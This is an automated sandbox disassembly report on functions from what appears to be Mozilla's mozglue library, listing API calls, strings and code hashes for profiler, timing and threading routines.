API ID: CurrentThread$ExclusiveLock$Release$AcquireTime_getpidgetenv$ProcessStampV01@@Value@mozilla@@free$?profiler_time@baseprofiler@mozilla@@BufferCloseEnterExit@mozilla@@HandleInit_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@Now@ObjectProfilerRegisterSingleStamp@mozilla@@TerminateV12@_Wait__acrt_iob_func__stdio_common_vfprintf
String ID: [I %d/%d] profiler_pause$[I %d/%d] profiler_stop
API String ID: 16519850-1833026159
Opcode ID: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction ID: 54bae6752647e8a262a5c2443303edca6c75c1bed4f4c2427930dd117207f867
Opcode Fuzzy Hash: 50cf38773bf96c03438fd58e1a0dbcecab98bc745bc5edc233a6154d42347645
Instruction Fuzzy Hash: EC5126316002129FDB005F66D8887A97BB4FF8B36DF14456AE91683B42DB747805CBAF

Function 6C667FD0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 166COMMON

Download Yara Rule

APIs

K32EnumProcessModules.KERNEL32(000000FF,00000000,00000000,?), ref: 6C668007
moz_xmalloc.MOZGLUE(?,000000FF,00000000,00000000,?), ref: 6C66801D

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

memset.VCRUNTIME140(00000000,00000000,?,?), ref: 6C66802B
K32EnumProcessModules.KERNEL32(000000FF,00000000,?,?,?,?,?,?), ref: 6C66803D
moz_xmalloc.MOZGLUE(00000104,000000FF,00000000,?,?,?,?,?,?), ref: 6C66808D

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

memset.VCRUNTIME140(00000000,00000000,00000104,?,?,?,?,?), ref: 6C66809B
GetModuleFileNameW.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6C6680B9
moz_xmalloc.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C6680DF
memset.VCRUNTIME140(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680ED
wcscpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6680FB
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66810D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?), ref: 6C668133
free.MOZGLUE(00000000,000000FF,00000000,?,?,?,?,?,?), ref: 6C668149
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?), ref: 6C668167
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 6C66817C
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C668199

Strings

0>il, xrefs: 6C66811E

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc$EnumModulesProcess$ErrorFileLastModuleNamemallocmozalloc_abortwcscpy_s
String ID: 0>il
API String ID: 2721933968-262214330
Opcode ID: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction ID: 83c4bbc69237aee19b48065aac150f773266d4b0cc0585ffd672a350faed6229
Opcode Fuzzy Hash: 6daa6ad6a1aa670d2460bd2e6b046e11d15abd9a6f15b4c48b4a63c30e3842e9
Instruction Fuzzy Hash: 925192B1E002056BDB00DFAADC809EFB7B9EF4A324F140525E815E7751E730AD05CBAA

Function 6C665E60 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 182threadstringtimeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665E9D

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

GetCurrentThreadId.KERNEL32 ref: 6C665EAB
GetCurrentThreadId.KERNEL32 ref: 6C665EB8
strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C665ECF
memcpy.VCRUNTIME140(00000000,GeckoMain,00000000), ref: 6C666017

Part of subcall function 6C654310: moz_xmalloc.MOZGLUE(00000010,?,6C6542D2), ref: 6C65436A
Part of subcall function 6C654310: memcpy.VCRUNTIME140(00000023,?,?,?,?,6C6542D2), ref: 6C654387

moz_xmalloc.MOZGLUE(00000004), ref: 6C665F47
GetCurrentProcess.KERNEL32 ref: 6C665F53
GetCurrentThread.KERNEL32 ref: 6C665F5C
GetCurrentProcess.KERNEL32 ref: 6C665F66
DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6C665F7E
moz_xmalloc.MOZGLUE(00000024), ref: 6C665F27

Part of subcall function 6C66CA10: mozalloc_abort.MOZGLUE(?), ref: 6C66CAA2

moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C665E8C

Part of subcall function 6C66CA10: malloc.MOZGLUE(?), ref: 6C66CA26

moz_xmalloc.MOZGLUE(00000050,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C66605D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6655E1), ref: 6C6660CC

Strings

GeckoMain, xrefs: 6C665ECE, 6C666015

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Currentmoz_xmalloc$Thread$CriticalProcessSectionmemcpy$Count64CounterDuplicateEnterHandleLeaveNow@PerformanceQueryStamp@mozilla@@TickTimeV12@_freemallocmozalloc_abortstrlen
String ID: GeckoMain
API String ID: 3711609982-966795396
Opcode ID: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction ID: 2cd89fd41bcb337c7bb41e7ff879147b1e396609699be3e1535cb98365efdae5
Opcode Fuzzy Hash: 211275ea6b9994ee602de484c5dd006bb7ae7fee4f0c774230fc7d995417a863
Instruction Fuzzy Hash: 6371BFB06047409FD710DF2AD480A6ABBF0FF8A304F54496DE58687F52D731E948CB9A

Function 6C669590 Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 192libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6531C0: LoadLibraryW.KERNEL32(KernelBase.dll), ref: 6C653217
Part of subcall function 6C6531C0: GetProcAddress.KERNEL32(00000000,QueryInterruptTime), ref: 6C653236
Part of subcall function 6C6531C0: FreeLibrary.KERNEL32 ref: 6C65324B
Part of subcall function 6C6531C0: __Init_thread_footer.LIBCMT ref: 6C653260
Part of subcall function 6C6531C0: ?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(?), ref: 6C65327F
Part of subcall function 6C6531C0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65328E
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532AB
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6532D1
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6532E5
Part of subcall function 6C6531C0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C6532F7

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C669675
__Init_thread_footer.LIBCMT ref: 6C669697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C6696E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C669707
__Init_thread_footer.LIBCMT ref: 6C66971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669773
GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C6697B7
FreeLibrary.KERNEL32 ref: 6C6697D0
FreeLibrary.KERNEL32 ref: 6C6697EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C669824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C669670
MapViewOfFileNuma2, xrefs: 6C6697B1
ntdll.dll, xrefs: 6C6696E3
NtMapViewOfSection, xrefs: 6C669701

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction ID: 99e33e289692ab79beea46c92a1b769f038b8cec121decf90c14e6842b775f47
Opcode Fuzzy Hash: fd55bb060ca324fad644d0592b8733138f23f4a485bfe4bfee0cdb20c0154ef6
Instruction Fuzzy Hash: AF61B0716002069BDF008F67E8D4BDA7BB1EB8A358F118529ED1597B80D770B854CBAF

Function 6C6B6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6694
GetThreadId.KERNEL32(?), ref: 6C6B66B1
GetCurrentThreadId.KERNEL32 ref: 6C6B66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C6B66E1
EnterCriticalSection.KERNEL32(6C6DF618), ref: 6C6B6734
GetCurrentProcess.KERNEL32 ref: 6C6B673A
LeaveCriticalSection.KERNEL32(6C6DF618), ref: 6C6B676C
GetCurrentThread.KERNEL32 ref: 6C6B67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C6B6868
RtlCaptureContext.NTDLL ref: 6C6B687F

Strings

WalkStack64, xrefs: 6C6B6890

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction ID: 046c4d9724e0885745c9a256f4235ce348d1688609555383b529b970b5b0e2ec
Opcode Fuzzy Hash: e7da402c09b6af611a02b9743e00f820c7f47792369de1c6150b12d6e61423fe
Instruction Fuzzy Hash: 1151ED71A09301AFDB15CF25C884B9ABBF4FF89714F00492DF999A7640D770E918CB9A

Function 6C69DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69DE73
GetCurrentThreadId.KERNEL32 ref: 6C69DF7D
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DF8A
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69DFC9
GetCurrentThreadId.KERNEL32 ref: 6C69DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C664A68), ref: 6C69DE7B

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

Part of subcall function 6C68CBE8: GetCurrentProcess.KERNEL32(?,6C6531A7), ref: 6C68CBF1
Part of subcall function 6C68CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6531A7), ref: 6C68CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C664A68), ref: 6C69DEB8
free.MOZGLUE(00000000,?,6C664A68), ref: 6C69DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C69DF38

Strings

<none>, xrefs: 6C69DFD7
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C69E00E
[I %d/%d] locked_profiler_stop, xrefs: 6C69DE83

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction ID: 601b910b7b33fabe0a9ab561ffd34791e6424384c40c8e5f7151f0789e36a508
Opcode Fuzzy Hash: 2fcca3c07977d64dd4993d632918e94227168705532684585624f7cb7a8fc6a2
Instruction Fuzzy Hash: BC41D6357011129BDB109F66D8447AE7775EF8631DF144025E90A97B42CB71B806CBEF

Function 6C6AD840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD918
GetCurrentThreadId.KERNEL32 ref: 6C6AD93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD970
GetCurrentThreadId.KERNEL32 ref: 6C6AD976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6ADA2E
GetCurrentThreadId.KERNEL32 ref: 6C6ADA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6ADA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C6ADA91

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6ADAB7

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction ID: 567a1dc570bbfc197a3946fdaf41bee6a98aee442101251e5a91a029302da7d6
Opcode Fuzzy Hash: f33ad62070edb8738245d4ad1e6ac2cd8da8b52d6e5cf5841ba132b3ccaa90a4
Instruction Fuzzy Hash: CA71AC716043049FCB00CF6AC888B9ABBF5FF89354F14856EED4A8B315DB30A945CB99

Function 6C6AD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C6AD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD52A
GetCurrentThreadId.KERNEL32 ref: 6C6AD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD55F
free.MOZGLUE(00000000), ref: 6C6AD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C6AD5D3
GetCurrentThreadId.KERNEL32 ref: 6C6AD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD652
GetCurrentThreadId.KERNEL32 ref: 6C6AD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C6AD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C6AD6A2

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction ID: 9b8953e07197604a31493b0d65dd3307c99482accd72b78eb2f8161ceeed3414
Opcode Fuzzy Hash: 3eed7c8b0298ade49de783b97f8103c59495be1610462d0a48e51c192460f2e1
Instruction Fuzzy Hash: EE516C71604705DFC704DF65C484A9ABBF4FF8A358F108A2EE95A87710DB30B945CB99

Function 6C651E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651EC1
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651EE1
EnterCriticalSection.KERNEL32(6C6DE744), ref: 6C651F38
LeaveCriticalSection.KERNEL32(6C6DE744), ref: 6C651F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C651F83
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FC0
EnterCriticalSection.KERNEL32(6C6DE784), ref: 6C651FE2
LeaveCriticalSection.KERNEL32(6C6DE784), ref: 6C651FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C652019

Strings

Dml, xrefs: 6C651F32
Dml, xrefs: 6C651F56
\ml, xrefs: 6C651F3E
MOZ_CRASH(), xrefs: 6C652000

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dml$Dml$MOZ_CRASH()$\ml
API String ID: 2055633661-3041328916
Opcode ID: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction ID: c0a39974589e38f45cd12d2b49d7f4a33d4792012388625821c90f73072d1d84
Opcode Fuzzy Hash: 7cafa5be20bf4db4bcfdb207d8f870c0033313312f764c8b6a63c46e4560558c
Instruction Fuzzy Hash: C241E271B013168BDF409F69C8C8BAAB7B5EF8A348F110129E91597744DB71A804CBDD

Function 6C675670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C6756D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6756E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C6756F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C675744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C6757BC
GetTickCount64.KERNEL32 ref: 6C6758CB
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6758F3
__aulldiv.LIBCMT ref: 6C675945
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6759B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C6DF638,?,?,?,?), ref: 6C6759E9

Strings

MOZ_APP_RESTART, xrefs: 6C6756CC

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction ID: 8a5d3d28f3501d48136d047c39752d816cf1a815167c03ec0a4cbd8a9897a4dd
Opcode Fuzzy Hash: c6b1ea9104754a8ef7f34416b2b9287e3d37f0b01403dc47f43a0f3bf1e0d967
Instruction Fuzzy Hash: 05C17C31A083809FDB15CF29C48066AF7F1BFCA714F158A5DF8C497A60D730A985CB9A

Function 6C69EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C664A68), ref: 6C69945E
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C699470
Part of subcall function 6C699420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C699482
Part of subcall function 6C699420: __Init_thread_footer.LIBCMT ref: 6C69949F

GetCurrentThreadId.KERNEL32 ref: 6C69EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C69EC8C

Part of subcall function 6C6994D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C6994EE
Part of subcall function 6C6994D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C699508

GetCurrentThreadId.KERNEL32 ref: 6C69ECA1
AcquireSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C69ECC5
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C69ED19
CloseHandle.KERNEL32(?), ref: 6C69ED28
free.MOZGLUE(00000000), ref: 6C69ED2F
ReleaseSRWLockExclusive.KERNEL32(6C6DF4B8), ref: 6C69ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C69EC94

Memory Dump Source

Source File: 00000000.00000002.2598274089.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2598242429.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598353874.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598392353.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2598430715.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction ID: 2ae2e6adba9c6c1c82c3a60dad5285ffbeb87b2139405902274e78f0153f2d9b
Opcode Fuzzy Hash: 6f752f8e038e371429242f7d7bed7329dc5222a32dc293cb44beca4bad8acc52
Instruction Fuzzy Hash: 1C21E575600106AFDF009F26DC44A9A3779FF8636DF144210FD1897745DB31A80ACBAE

